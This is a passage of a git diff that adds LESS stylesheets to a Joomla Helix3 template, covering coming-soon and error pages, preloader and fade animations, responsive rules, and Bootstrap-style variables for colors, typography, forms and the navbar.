+ border: 1px solid #fff;
+ border-radius: 4px;
+ display: inline-block;
+ font-size: 48px;
+ font-weight: bold;
+ }
+ .days .string, .minutes .string, .seconds .string, .hours .string {
+ display: block;
+ font-size: 18px;
+ margin-top: 10px;
+ }
+ .social-icons li {
+ display: inline-block;
+ margin: 0 15px;
+ a {
+ color: rgba(255, 255, 255, 0.7);
+ font-size: 24px;
+ -webkit-transition: color 400ms;
+ transition: color 400ms;
+ &:hover {
+ color: #fff;
+ }
+ }
+ }
+}
+
+/* *************** END:: Comingsoon **************** */
+/* **************************************************** */
+
+
+/* ************** START Error Page **************** */
+/* **************************************************** */
+
+.error-page {
+ width: 100%;
+ height: 100%;
+ min-height: 100%;
+ body {
+ width: 100%;
+ height: 100%;
+ min-height: 100%;
+ }
+ .error-page-inner {
+ &.has-background{
+ background-size: cover;
+ background-position: center center;
+ background-repeat: no-repeat;
+ }
+ .error-logo-wrap{
+ text-align: center;
+ margin-bottom: 30px;
+ img{
+ display: inline-block;
+ }
+ }
+ height: 100%;
+ min-height: 100%;
+ width: 100%;
+ display: table;
+ text-align: center;
+ >div {
+ display: table-cell;
+ vertical-align: middle;
+ }
+ }
+ .fa-exclamation-triangle {
+ font-size: 64px;
+ line-height: 1;
+ margin-bottom: 10px;
+ }
+ .error-code {
+ font-weight: bold;
+ font-size: 96px;
+ line-height: 1;
+ margin: 0 0 10px 0;
+ padding: 0;
+ }
+ .error-message {
+ font-size: 24px;
+ line-height: 1;
+ margin-bottom: 30px;
+ }
+}
+
+/* *************** END:: Error Page *************** */
+/* **************************************************** */
+
+//Ratina Logo
+@media only screen and (-webkit-min-device-pixel-ratio: 1.5),
+only screen and (-moz-min-device-pixel-ratio: 1.5),
+only screen and (-o-min-device-pixel-ratio: 3/2),
+only screen and (min-device-pixel-ratio: 1.5) {
+ #sp-header {
+ .sp-default-logo {
+ display: none;
+ }
+ .sp-retina-logo {
+ display: block;
+ }
+ }
+ .sp-comingsoon {
+ .comingsoon-page-logo{
+ .sp-retina-logo{
+ display: table;
+ margin: 0 auto;
+ }
+ .sp-default-logo{
+ display: none;
+ }
+ }
+ }
+}
+
+/* *************** START Mixed CSS **************** */
+/* **************************************************** */
+
+.sp-social-share {
+ ul {
+ display: block;
+ padding: 0;
+ margin: 20px -5px 0;
+ li {
+ display: inline-block;
+ font-size: 24px;
+ margin: 0 5px;
+ }
+ }
+}
+
+// profile
+.dl-horizontal {
+ dt {
+ margin: 8px 0;
+ text-align: left;
+ }
+}
+
+// page-header
+.page-header {
+ padding-bottom: 15px;
+}
+
+// featured contact
+table.category {
+ width: 100%;
+ thead, tbody {
+ >tr {
+ border: 1px solid #f2f2f2;
+ th, td {
+ padding: 10px;
+ }
+ }
+ }
+}
+
+//contact from
+.contact-form {
+ .form-actions {
+ background: none;
+ border: none;
+ }
+}
+
+@media print {
+ .visible-print {
+ display: inherit !important;
+ }
+ .hidden-print {
+ display: none !important;
+ }
+}
+
+// sp portfolio
+.sp-simpleportfolio .sp-simpleportfolio-filter > ul > li > a {
+ background: #2D2D2D;
+ border-radius: 2px;
+ color: #fff;
+ -webkit-transition: 300ms;
+ transition: 300ms;
+}
+
+
+/* *************** END:: Mixed CSS **************** */
+/* **************************************************** */
+
+
+
+/* ********** START Helix 1.4 Loader Css *********** */
+/* **************************************************** */
+
+/* ************ START Pre-Loader CSS ************** */
+/* **************************************************** */
+
+.sp-pre-loader {
+ background: @preloader_bg;
+ height: 100%;
+ left: 0;
+ position: fixed;
+ top: 0;
+ width: 100%;
+ z-index: 99999;
+
+ // Clock loader
+ .sp-loader-clock {
+ border: 3px solid @preloader_tx;
+ border-radius: 60px;
+ bottom: 0;
+ height: 80px;
+ left: 0;
+ margin: auto;
+ position: absolute;
+ right: 0;
+ top: 0;
+ width: 80px;
+ &:after{
+ content: "";
+ position: absolute;
+ background-color: @preloader_tx;
+ top:2px;
+ left: 48%;
+ height: 38px;
+ width: 4px;
+ border-radius: 5px;
+ -webkit-transform-origin: 50% 97%;
+ transform-origin: 50% 97%;
+ -webkit-animation: grdAiguille 2s linear infinite;
+ animation: grdAiguille 2s linear infinite;
+ }
+
+ &:before{
+ content: "";
+ position: absolute;
+ background-color: @preloader_tx;
+ top:6px;
+ left: 48%;
+ height: 35px;
+ width: 4px;
+ border-radius: 5px;
+ -webkit-transform-origin: 50% 94%;
+ transform-origin: 50% 94%;
+ -webkit-animation: ptAiguille 12s linear infinite;
+ animation: ptAiguille 12s linear infinite;
+ }
+ }
+ // Circle Loader
+ .sp-loader-circle{
+ position: absolute;
+ height: 80px;
+ width: 80px;
+ border-radius: 80px;
+ border: 3px solid fade(@preloader_tx, 70%);
+ left: 0;
+ top: 0;
+ right: 0;
+ bottom: 0;
+ margin: auto;
+ -webkit-transform-origin: 50% 50%;
+ transform-origin: 50% 50%;
+ -webkit-animation: loader1 3s linear infinite;
+ animation: loader1 3s linear infinite;
+ &:after{
+ content: "";
+ position: absolute;
+ top: -5px;
+ left: 20px;
+ width: 11px;
+ height: 11px;
+ border-radius: 10px;
+ background-color: @preloader_tx;
+ }
+ }
+ // Bubble Loop Loader
+ .sp-loader-bubble-loop{
+ position: absolute;
+ width: 12px;
+ height: 12px;
+ left: 0;
+ top: 0;
+ right: 0;
+ bottom: 0;
+ margin: auto;
+ border-radius: 12px;
+ background-color: @preloader_tx;
+ -webkit-transform-origin: 50% 50%;
+ transform-origin: 50% 50% ;
+ -webkit-animation: loader6 1s ease-in-out infinite;
+ animation: loader6 1s ease-in-out infinite;
+ &:before{
+ content: "";
+ position: absolute;
+ background-color: fade(@preloader_tx, 50%);
+ top: 0px;
+ left: -25px;
+ height: 12px;
+ width: 12px;
+ border-radius: 12px;
+ }
+ &:after{
+ content: "";
+ position: absolute;
+ background-color: fade(@preloader_tx, 50%);
+ top: 0px;
+ left: 25px;
+ height: 12px;
+ width: 12px;
+ border-radius: 12px;
+ }
+ }
+ // Circle Loader Two
+ .circle-two {
+ bottom: 0;
+ height: 100px;
+ left: 0;
+ margin: auto;
+ position: absolute;
+ right: 0;
+ top: 0;
+ width: 100px;
+ }
+ .circle-two > span,
+ .circle-two > span:before,
+ .circle-two > span:after {
+ content: "";
+ display: block;
+ border-radius: 50%;
+ border: 2px solid @preloader_tx;
+ position: absolute;
+ top: 50%;
+ left: 50%;
+ -webkit-transform: translate(-50%, -50%);
+ -moz-transform: translate(-50%, -50%);
+ -ms-transform: translate(-50%, -50%);
+ -o-transform: translate(-50%, -50%);
+ transform: translate(-50%, -50%);
+ }
+ .circle-two > span {
+ width: 100%;
+ height: 100%;
+ top: 0;
+ left: 0;
+ border-left-color: transparent;
+ -webkit-animation: effect-2 2s infinite linear;
+ -moz-animation: effect-2 2s infinite linear;
+ -ms-animation: effect-2 2s infinite linear;
+ -o-animation: effect-2 2s infinite linear;
+ animation: effect-2 2s infinite linear;
+ }
+ .circle-two > span:before {
+ width: 75%;
+ height: 75%;
+ border-right-color: transparent;
+ }
+ .circle-two > span:after {
+ width: 50%;
+ height: 50%;
+ border-bottom-color: transparent;
+ }
+
+ // Audio Wave 2 Loader
+ .wave-two-wrap{
+ position: absolute;
+ margin: auto;
+ left: 0;
+ right: 0;
+ top: 50%;
+ width: 90px;
+ }
+ .wave-two {
+ margin: 0;
+ list-style: none;
+ width: 90px;
+ position: relative;
+ padding: 0;
+ height: 10px;
+ }
+ .wave-two li {
+ position: absolute;
+ width: 2px;
+ height: 0;
+ background-color: @preloader_tx;
+ bottom: 0;
+ }
+
+ .wave-two li:nth-child(1) {
+ left: 0;
+ -webkit-animation: sequence1 1s ease infinite 0;
+ animation: sequence1 1s ease infinite 0;
+ }
+ .wave-two li:nth-child(2) {
+ left: 15px;
+ -webkit-animation: sequence2 1s ease infinite 0.1s;
+ animation: sequence2 1s ease infinite 0.1s;
+ }
+ .wave-two li:nth-child(3) {
+ left: 30px;
+ -webkit-animation: sequence1 1s ease-in-out infinite 0.2s;
+ animation: sequence1 1s ease-in-out infinite 0.2s;
+ }
+ .wave-two li:nth-child(4) {
+ left: 45px;
+ -webkit-animation: sequence2 1s ease-in infinite 0.3s;
+ animation: sequence2 1s ease-in infinite 0.3s;
+ }
+ .wave-two li:nth-child(5) {
+ left: 60px;
+ -webkit-animation: sequence1 1s ease-in-out infinite 0.4s;
+ animation: sequence1 1s ease-in-out infinite 0.4s;
+ }
+ .wave-two li:nth-child(6) {
+ left: 75px;
+ -webkit-animation: sequence2 1s ease infinite 0.5s;
+ animation: sequence2 1s ease infinite 0.5s;
+ }
+
+ // Audio Wave Loader
+ .sp-loader-audio-wave {
+ width: 3em;
+ height: 2em;
+ background: linear-gradient(@preloader_tx, @preloader_tx) 0 50%, linear-gradient(@preloader_tx, @preloader_tx) 0.625em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.25em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.875em 50%, linear-gradient(@preloader_tx, @preloader_tx) 2.5em 50%;
+ background-repeat: no-repeat;
+ background-size: 0.5em 0.25em, 0.5em 0.25em, 0.5em 0.25em, 0.5em 0.25em, 0.5em 0.25em;
+ animation: audioWave 1.5s linear infinite;
+ position: absolute;
+ left: 0;
+ top: 0;
+ bottom: 0;
+ right: 0;
+ margin: auto;
+ }
+
+ // Loader With Logo
+ .sp-loader-with-logo{
+ top: 0;
+ left: 0;
+ width: 100%;
+ height: 105px;
+ right: 0;
+ bottom: 0;
+ margin: auto;
+ text-align: center;
+ position: absolute;
+ .logo{
+ display: inline-block;
+ width: auto;
+ }
+ .line{
+ background: @preloader_tx;
+ bottom: 0;
+ height: 5px;
+ left: 0;
+ position: absolute;
+ top: auto;
+ }
+ }
+}
+
+/* ************* END:: Pre-Loader CSS ************* */
+/* **************************************************** */
+
+/* ************ START Loader Animation ************ */
+/* **************************************************** */
+
+// Clock Loader Animation
+@-webkit-keyframes grdAiguille{
+ 0%{-webkit-transform:rotate(0deg);}
+ 100%{-webkit-transform:rotate(360deg);}
+}
+
+@keyframes grdAiguille{
+ 0%{transform:rotate(0deg);}
+ 100%{transform:rotate(360deg);}
+}
+@-webkit-keyframes ptAiguille{
+ 0%{-webkit-transform:rotate(0deg);}
+ 100%{-webkit-transform:rotate(360deg);}
+}
+@keyframes ptAiguille{
+ 0%{transform:rotate(0deg);}
+ 100%{transform:rotate(360deg);}
+}
+
+// Circle Loader Animation
+@-webkit-keyframes loader1{
+ 0%{-webkit-transform:rotate(0deg);}
+ 100%{-webkit-transform:rotate(360deg);}
+}
+
+@keyframes loader1{
+ 0%{transform:rotate(0deg);}
+ 100%{transform:rotate(360deg);}
+}
+
+// Bubble Loop Loader Animation
+@-webkit-keyframes loader6{
+ 0%{-webkit-transform:rotate(0deg);}
+ 50%{-webkit-transform:rotate(180deg);}
+ 100%{-webkit-transform:rotate(180deg);}
+}
+@keyframes loader6{
+ 0%{transform:rotate(0deg);}
+ 50%{transform:rotate(180deg);}
+ 100%{transform:rotate(180deg);}
+}
+
+// Ring Loader Animation
+@keyframes rotate-360 {
+ from {
+ -moz-transform: rotate(0);
+ -ms-transform: rotate(0);
+ -webkit-transform: rotate(0);
+ transform: rotate(0);
+ }
+ to {
+ -moz-transform: rotate(360deg);
+ -ms-transform: rotate(360deg);
+ -webkit-transform: rotate(360deg);
+ transform: rotate(360deg);
+ }
+}
+
+// Audio Wave Loader Animation
+@keyframes audioWave {
+ 25% {
+ background: linear-gradient(@preloader_tx, @preloader_tx) 0 50%, linear-gradient(@preloader_tx, @preloader_tx) 0.625em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.25em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.875em 50%, linear-gradient(@preloader_tx, @preloader_tx) 2.5em 50%;
+ background-repeat: no-repeat;
+ background-size: 0.5em 2em, 0.5em 0.25em, 0.5em 0.25em, 0.5em 0.25em, 0.5em 0.25em;
+ }
+ 37.5% {
+ background: linear-gradient(@preloader_tx, @preloader_tx) 0 50%, linear-gradient(@preloader_tx, @preloader_tx) 0.625em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.25em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.875em 50%, linear-gradient(@preloader_tx, @preloader_tx) 2.5em 50%;
+ background-repeat: no-repeat;
+ background-size: 0.5em 0.25em, 0.5em 2em, 0.5em 0.25em, 0.5em 0.25em, 0.5em 0.25em;
+ }
+ 50% {
+ background: linear-gradient(@preloader_tx, @preloader_tx) 0 50%, linear-gradient(@preloader_tx, @preloader_tx) 0.625em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.25em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.875em 50%, linear-gradient(@preloader_tx, @preloader_tx) 2.5em 50%;
+ background-repeat: no-repeat;
+ background-size: 0.5em 0.25em, 0.5em 0.25em, 0.5em 2em, 0.5em 0.25em, 0.5em 0.25em;
+ }
+ 62.5% {
+ background: linear-gradient(@preloader_tx, @preloader_tx) 0 50%, linear-gradient(@preloader_tx, @preloader_tx) 0.625em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.25em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.875em 50%, linear-gradient(@preloader_tx, @preloader_tx) 2.5em 50%;
+ background-repeat: no-repeat;
+ background-size: 0.5em 0.25em, 0.5em 0.25em, 0.5em 0.25em, 0.5em 2em, 0.5em 0.25em;
+ }
+ 75% {
+ background: linear-gradient(@preloader_tx, @preloader_tx) 0 50%, linear-gradient(@preloader_tx, @preloader_tx) 0.625em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.25em 50%, linear-gradient(@preloader_tx, @preloader_tx) 1.875em 50%, linear-gradient(@preloader_tx, @preloader_tx) 2.5em 50%;
+ background-repeat: no-repeat;
+ background-size: 0.5em 0.25em, 0.5em 0.25em, 0.5em 0.25em, 0.5em 0.25em, 0.5em 2em;
+ }
+}
+
+// Circle 2 Loader Animation
+@-webkit-keyframes effect-2 {
+ from {
+ -webkit-transform: rotate(0deg);
+ transform: rotate(0deg);
+ }
+ to {
+ -webkit-transform: rotate(360deg);
+ transform: rotate(360deg);
+ }
+}
+@keyframes effect-2 {
+ from {
+ -moz-transform: rotate(0deg);
+ -ms-transform: rotate(0deg);
+ transform: rotate(0deg);
+ }
+ to {
+ -moz-transform: rotate(360deg);
+ -ms-transform: rotate(360deg);
+ transform: rotate(360deg);
+ }
+}
+
+// Audio Wave Loader 2 animation
+@keyframes sequence1 {
+ 0% {
+ height: 10px;
+ }
+ 50% {
+ height: 50px;
+ }
+ 100% {
+ height: 10px;
+ }
+}
+@keyframes sequence2 {
+ 0% {
+ height: 20px;
+ }
+ 50% {
+ height: 65px;
+ }
+ 100% {
+ height: 20px;
+ }
+}
+
+@keyframes rot1 {
+ 100% {
+ transform: skew(-10deg) translateX(50px) rotate(405deg);
+ }
+}
+@-webkit-keyframes rot1 {
+ 100% {
+ -webkit-transform: skew(-10deg) translateX(50px) rotate(405deg);
+ }
+}
+@keyframes rot2 {
+ 100% {
+ transform: skew(-10deg) rotate(525deg);
+ }
+}
+@-webkit-keyframes rot2 {
+ 100% {
+ -webkit-transform: skew(-10deg) rotate(525deg);
+ }
+}
+@keyframes rot3 {
+ 100% {
+ transform: skew(-10deg) translateX(20px) translateY(-50px) rotate(645deg);
+ }
+}
+@-webkit-keyframes rot3 {
+ 100% {
+ -webkit-transform: skew(-10deg) translateX(20px) translateY(-50px) rotate(645deg);
+ }
+}
+
+@keyframes width {
+ 10% {
+ width: 10%;
+ }
+ 20% {
+ width: 20%;
+ }
+ 30% {
+ width: 30%;
+ }
+ 40% {
+ width: 40%;
+ }
+ 50% {
+ width: 50%;
+ }
+ 60% {
+ width: 60%;
+ }
+ 70% {
+ width: 70%;
+ }
+ 80% {
+ width: 80%;
+ }
+ 90% {
+ width: 90%;
+ }
+ 100% {
+ width: 100%;
+ }
+}
+
+/* *********** END:: Loader Animation ************* */
+/* **************************************************** */
+
+/* ********** END:: Helix 1.4 Loader Css ********** */
+/* **************************************************** */
+
+/* ************ START Animations Header *************** */
+/* **************************************************** */
+
+.animated{
+ -webkit-animation-duration:1s;
+ animation-duration:1s;
+ -webkit-animation-fill-mode:both;
+ animation-fill-mode:both;
+}
+
+@-webkit-keyframes fadeInDown{
+ from{
+ opacity:0;
+ -webkit-transform:translate3d(0,-50%,0);
+ transform:translate3d(0,-50%,0);
+ }
+ to{
+ opacity:1;
+ -webkit-transform:none;
+ transform:none;
+ }
+}
+@keyframes fadeInDown{
+ from{
+ opacity:0;
+ -webkit-transform:translate3d(0,-50%,0);
+ transform:translate3d(0,-50%,0);
+ }
+ to{
+ opacity:1;
+ -webkit-transform:none;
+ transform:none;
+ }
+}
+.fadeInDown{
+ -webkit-animation-name:fadeInDown;
+ animation-name:fadeInDown;
+}
+
+//fadeinUp
+@-webkit-keyframes fadeInUp {
+ from {
+ opacity: 0;
+ -webkit-transform: translate3d(0, 100%, 0);
+ transform: translate3d(0, 100%, 0);
+ }
+
+ to {
+ opacity: 1;
+ -webkit-transform: none;
+ transform: none;
+ }
+}
+
+@keyframes fadeInUp {
+ from {
+ opacity: 0;
+ -webkit-transform: translate3d(0, 100%, 0);
+ transform: translate3d(0, 100%, 0);
+ }
+
+ to {
+ opacity: 1;
+ -webkit-transform: none;
+ transform: none;
+ }
+}
+
+.fadeInUp {
+ -webkit-animation-name: fadeInUp;
+ animation-name: fadeInUp;
+}
+
+/* ************ END:: Animations Header *************** */
+/* **************************************************** */
+
+/* ********* START Responsive Media Query ********* */
+/* **************************************************** */
+//Tablet
+@media screen and (min-width: 768px) and (max-width: 1199px){
+ .scrollup {
+ bottom: 25px;
+ right: 25px;
+ }
+}
+//Mobile Device
+@media screen and (min-width: 320px) and (max-width: 767px){
+ //Top social
+ ul.social-icons {
+ margin: 0;
+ width: 100%;
+ text-align: center;
+ > li{
+ margin: 5px;
+ }
+ }
+ .sp-contact-info {
+ display: table;
+ float: none;
+ margin: 0;
+ text-align: center;
+ width: 100%;
+ li{
+ margin: 0 5px;
+ font-size: 89%;
+ }
+ }
+ //Call to action
+ .sppb-animated{
+ .sppb-addon-cta{
+ .sppb-cta-title{
+ font-size: 28px !important;
+ line-height: 40px !important;
+ }
+ .sppb-btn-lg{
+ font-size: 16px;
+ }
+ }
+ }
+ //Back to top
+ .scrollup {
+ bottom: 25px;
+ right: 25px;
+ }
+ //contact form
+ .form-horizontal{
+ .control-label{
+ width: 100%;
+ text-align: left;
+ }
+ .controls{
+ margin: 0;
+ width: 100%;
+ input, textarea{
+ width: 100%;
+ }
+ textarea{
+ height: 131px;
+ }
+ }
+ }
+}
+@media screen and (min-width: 550px) and (max-width: 767px){
+ //top social
+ .sp-contact-info li {
+ margin: 0 5px;
+ font-size: 90%;
+ }
+}
+/* ********* END:: Responsive Media Query ********* */
+/* **************************************************** */
+
+
+/* ****************** Start SPPB 3 ******************* */
+/* **************************************************** */
+
+//Image Content
+@media (min-width: 768px) {
+ .sppb-col-sm-offset-6 {
+ margin-left: 50%;
+ }
+}
+
+//Testimonial Pro
+.sppb-testimonial-pro .sppb-item img {
+ display: inline-block;
+ margin-bottom: 10px;
+}
+
+/* ****************** END:: SPPB 3 ******************* */
+/* **************************************************** */
diff --git a/deployed/helix3/templates/shaper_helix3/less/variables.less b/deployed/helix3/templates/shaper_helix3/less/variables.less
new file mode 100644
index 00000000..b13be9d4
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/less/variables.less
@@ -0,0 +1,856 @@
+//
+// Variables
+// --------------------------------------------------
+
+
+//== Colors
+//
+//## Gray and brand colors for use across Bootstrap.
+
+@gray-base: #000;
+@gray-darker: lighten(@gray-base, 13.5%); // #222
+@gray-dark: lighten(@gray-base, 20%); // #333
+@gray: lighten(@gray-base, 33.5%); // #555
+@gray-light: lighten(@gray-base, 46.7%); // #777
+@gray-lighter: lighten(@gray-base, 93.5%); // #eee
+
+@brand-primary: darken(#428bca, 6.5%);
+@brand-success: #5cb85c;
+@brand-info: #5bc0de;
+@brand-warning: #f0ad4e;
+@brand-danger: #d9534f;
+
+
+//== Scaffolding
+//
+//## Settings for some of the most global styles.
+
+//** Background color for ``.
+@body-bg: #fff;
+//** Global text color on ``.
+@text-color: @gray-dark;
+
+//** Global textual link color.
+@link-color: @brand-primary;
+//** Link hover color set via `darken()` function.
+@link-hover-color: darken(@link-color, 15%);
+//** Link hover decoration.
+@link-hover-decoration: underline;
+
+
+//== Typography
+//
+//## Font, line-height, and color for body text, headings, and more.
+
+@font-family-sans-serif: "Helvetica Neue", Helvetica, Arial, sans-serif;
+@font-family-serif: Georgia, "Times New Roman", Times, serif;
+//** Default monospace fonts for ``, ``, and ``.
+@font-family-monospace: Menlo, Monaco, Consolas, "Courier New", monospace;
+@font-family-base: @font-family-sans-serif;
+
+@font-size-base: 14px;
+@font-size-large: ceil((@font-size-base * 1.25)); // ~18px
+@font-size-small: ceil((@font-size-base * 0.85)); // ~12px
+
+@font-size-h1: floor((@font-size-base * 2.6)); // ~36px
+@font-size-h2: floor((@font-size-base * 2.15)); // ~30px
+@font-size-h3: ceil((@font-size-base * 1.7)); // ~24px
+@font-size-h4: ceil((@font-size-base * 1.25)); // ~18px
+@font-size-h5: @font-size-base;
+@font-size-h6: ceil((@font-size-base * 0.85)); // ~12px
+
+//** Unit-less `line-height` for use in components like buttons.
+@line-height-base: 1.428571429; // 20/14
+//** Computed "line-height" (`font-size` * `line-height`) for use with `margin`, `padding`, etc.
+@line-height-computed: floor((@font-size-base * @line-height-base)); // ~20px
+
+//** By default, this inherits from the ``.
+@headings-font-family: inherit;
+@headings-font-weight: 500;
+@headings-line-height: 1.1;
+@headings-color: inherit;
+
+
+//== Iconography
+//
+//## Specify custom location and filename of the included Glyphicons icon font. Useful for those including Bootstrap via Bower.
+
+//** Load fonts from this directory.
+@icon-font-path: "../fonts/";
+//** File name for all font files.
+@icon-font-name: "glyphicons-halflings-regular";
+//** Element ID within SVG icon file.
+@icon-font-svg-id: "glyphicons_halflingsregular";
+
+
+//== Components
+//
+//## Define common padding and border radius sizes and more. Values based on 14px text and 1.428 line-height (~20px to start).
+
+@padding-base-vertical: 6px;
+@padding-base-horizontal: 12px;
+
+@padding-large-vertical: 10px;
+@padding-large-horizontal: 16px;
+
+@padding-small-vertical: 5px;
+@padding-small-horizontal: 10px;
+
+@padding-xs-vertical: 1px;
+@padding-xs-horizontal: 5px;
+
+@line-height-large: 1.33;
+@line-height-small: 1.5;
+
+@border-radius-base: 4px;
+@border-radius-large: 6px;
+@border-radius-small: 3px;
+
+//** Global color for active items (e.g., navs or dropdowns).
+@component-active-color: #fff;
+//** Global background color for active items (e.g., navs or dropdowns).
+@component-active-bg: @brand-primary;
+
+//** Width of the `border` for generating carets that indicator dropdowns.
+@caret-width-base: 4px;
+//** Carets increase slightly in size for larger components.
+@caret-width-large: 5px;
+
+
+//== Tables
+//
+//## Customizes the `.table` component with basic values, each used across all table variations.
+
+//** Padding for ``s and ` `s.
+@table-cell-padding: 8px;
+//** Padding for cells in `.table-condensed`.
+@table-condensed-cell-padding: 5px;
+
+//** Default background color used for all tables.
+@table-bg: transparent;
+//** Background color used for `.table-striped`.
+@table-bg-accent: #f9f9f9;
+//** Background color used for `.table-hover`.
+@table-bg-hover: #f5f5f5;
+@table-bg-active: @table-bg-hover;
+
+//** Border color for table and cell borders.
+@table-border-color: #ddd;
+
+
+//== Buttons
+//
+//## For each of Bootstrap's buttons, define text, background and border color.
+
+@btn-font-weight: normal;
+
+@btn-default-color: #333;
+@btn-default-bg: #fff;
+@btn-default-border: #ccc;
+
+@btn-primary-color: #fff;
+@btn-primary-bg: @brand-primary;
+@btn-primary-border: darken(@btn-primary-bg, 5%);
+
+@btn-success-color: #fff;
+@btn-success-bg: @brand-success;
+@btn-success-border: darken(@btn-success-bg, 5%);
+
+@btn-info-color: #fff;
+@btn-info-bg: @brand-info;
+@btn-info-border: darken(@btn-info-bg, 5%);
+
+@btn-warning-color: #fff;
+@btn-warning-bg: @brand-warning;
+@btn-warning-border: darken(@btn-warning-bg, 5%);
+
+@btn-danger-color: #fff;
+@btn-danger-bg: @brand-danger;
+@btn-danger-border: darken(@btn-danger-bg, 5%);
+
+@btn-link-disabled-color: @gray-light;
+
+
+//== Forms
+//
+//##
+
+//** ` ` background color
+@input-bg: #fff;
+//** ` ` background color
+@input-bg-disabled: @gray-lighter;
+
+//** Text color for ` `s
+@input-color: @gray;
+//** ` ` border color
+@input-border: #ccc;
+
+// TODO: Rename `@input-border-radius` to `@input-border-radius-base` in v4
+//** Default `.form-control` border radius
+@input-border-radius: @border-radius-base;
+//** Large `.form-control` border radius
+@input-border-radius-large: @border-radius-large;
+//** Small `.form-control` border radius
+@input-border-radius-small: @border-radius-small;
+
+//** Border color for inputs on focus
+@input-border-focus: #66afe9;
+
+//** Placeholder text color
+@input-color-placeholder: #999;
+
+//** Default `.form-control` height
+@input-height-base: (@line-height-computed + (@padding-base-vertical * 2) + 2);
+//** Large `.form-control` height
+@input-height-large: (ceil(@font-size-large * @line-height-large) + (@padding-large-vertical * 2) + 2);
+//** Small `.form-control` height
+@input-height-small: (floor(@font-size-small * @line-height-small) + (@padding-small-vertical * 2) + 2);
+
+@legend-color: @gray-dark;
+@legend-border-color: #e5e5e5;
+
+//** Background color for textual input addons
+@input-group-addon-bg: @gray-lighter;
+//** Border color for textual input addons
+@input-group-addon-border-color: @input-border;
+
+//** Disabled cursor for form controls and buttons.
+@cursor-disabled: not-allowed;
+
+
+//== Dropdowns
+//
+//## Dropdown menu container and contents.
+
+//** Background for the dropdown menu.
+@dropdown-bg: #fff;
+//** Dropdown menu `border-color`.
+@dropdown-border: rgba(0,0,0,.15);
+//** Dropdown menu `border-color` **for IE8**.
+@dropdown-fallback-border: #ccc;
+//** Divider color for between dropdown items.
+@dropdown-divider-bg: #e5e5e5;
+
+//** Dropdown link text color.
+@dropdown-link-color: @gray-dark;
+//** Hover color for dropdown links.
+@dropdown-link-hover-color: darken(@gray-dark, 5%);
+//** Hover background for dropdown links.
+@dropdown-link-hover-bg: #f5f5f5;
+
+//** Active dropdown menu item text color.
+@dropdown-link-active-color: @component-active-color;
+//** Active dropdown menu item background color.
+@dropdown-link-active-bg: @component-active-bg;
+
+//** Disabled dropdown menu item background color.
+@dropdown-link-disabled-color: @gray-light;
+
+//** Text color for headers within dropdown menus.
+@dropdown-header-color: @gray-light;
+
+//** Deprecated `@dropdown-caret-color` as of v3.1.0
+@dropdown-caret-color: #000;
+
+
+//-- Z-index master list
+//
+// Warning: Avoid customizing these values. They're used for a bird's eye view
+// of components dependent on the z-axis and are designed to all work together.
+//
+// Note: These variables are not generated into the Customizer.
+
+@zindex-navbar: 1000;
+@zindex-dropdown: 1000;
+@zindex-popover: 1060;
+@zindex-tooltip: 1070;
+@zindex-navbar-fixed: 1030;
+@zindex-modal: 1040;
+
+
+//== Media queries breakpoints
+//
+//## Define the breakpoints at which your layout will change, adapting to different screen sizes.
+
+// Extra small screen / phone
+//** Deprecated `@screen-xs` as of v3.0.1
+@screen-xs: 480px;
+//** Deprecated `@screen-xs-min` as of v3.2.0
+@screen-xs-min: @screen-xs;
+//** Deprecated `@screen-phone` as of v3.0.1
+@screen-phone: @screen-xs-min;
+
+// Small screen / tablet
+//** Deprecated `@screen-sm` as of v3.0.1
+@screen-sm: 768px;
+@screen-sm-min: @screen-sm;
+//** Deprecated `@screen-tablet` as of v3.0.1
+@screen-tablet: @screen-sm-min;
+
+// Medium screen / desktop
+//** Deprecated `@screen-md` as of v3.0.1
+@screen-md: 992px;
+@screen-md-min: @screen-md;
+//** Deprecated `@screen-desktop` as of v3.0.1
+@screen-desktop: @screen-md-min;
+
+// Large screen / wide desktop
+//** Deprecated `@screen-lg` as of v3.0.1
+@screen-lg: 1200px;
+@screen-lg-min: @screen-lg;
+//** Deprecated `@screen-lg-desktop` as of v3.0.1
+@screen-lg-desktop: @screen-lg-min;
+
+// So media queries don't overlap when required, provide a maximum
+@screen-xs-max: (@screen-sm-min - 1);
+@screen-sm-max: (@screen-md-min - 1);
+@screen-md-max: (@screen-lg-min - 1);
+
+
+//== Grid system
+//
+//## Define your custom responsive grid.
+
+//** Number of columns in the grid.
+@grid-columns: 12;
+//** Padding between columns. Gets divided in half for the left and right.
+@grid-gutter-width: 30px;
+// Navbar collapse
+//** Point at which the navbar becomes uncollapsed.
+@grid-float-breakpoint: @screen-sm-min;
+//** Point at which the navbar begins collapsing.
+@grid-float-breakpoint-max: (@grid-float-breakpoint - 1);
+
+
+//== Container sizes
+//
+//## Define the maximum width of `.container` for different screen sizes.
+
+// Small screen / tablet
+@container-tablet: (720px + @grid-gutter-width);
+//** For `@screen-sm-min` and up.
+@container-sm: @container-tablet;
+
+// Medium screen / desktop
+@container-desktop: (940px + @grid-gutter-width);
+//** For `@screen-md-min` and up.
+@container-md: @container-desktop;
+
+// Large screen / wide desktop
+@container-large-desktop: (1140px + @grid-gutter-width);
+//** For `@screen-lg-min` and up.
+@container-lg: @container-large-desktop;
+
+
+//== Navbar
+//
+//##
+
+// Basics of a navbar
+@navbar-height: 50px;
+@navbar-margin-bottom: @line-height-computed;
+@navbar-border-radius: @border-radius-base;
+@navbar-padding-horizontal: floor((@grid-gutter-width / 2));
+@navbar-padding-vertical: ((@navbar-height - @line-height-computed) / 2);
+@navbar-collapse-max-height: 340px;
+
+@navbar-default-color: #777;
+@navbar-default-bg: #f8f8f8;
+@navbar-default-border: darken(@navbar-default-bg, 6.5%);
+
+// Navbar links
+@navbar-default-link-color: #777;
+@navbar-default-link-hover-color: #333;
+@navbar-default-link-hover-bg: transparent;
+@navbar-default-link-active-color: #555;
+@navbar-default-link-active-bg: darken(@navbar-default-bg, 6.5%);
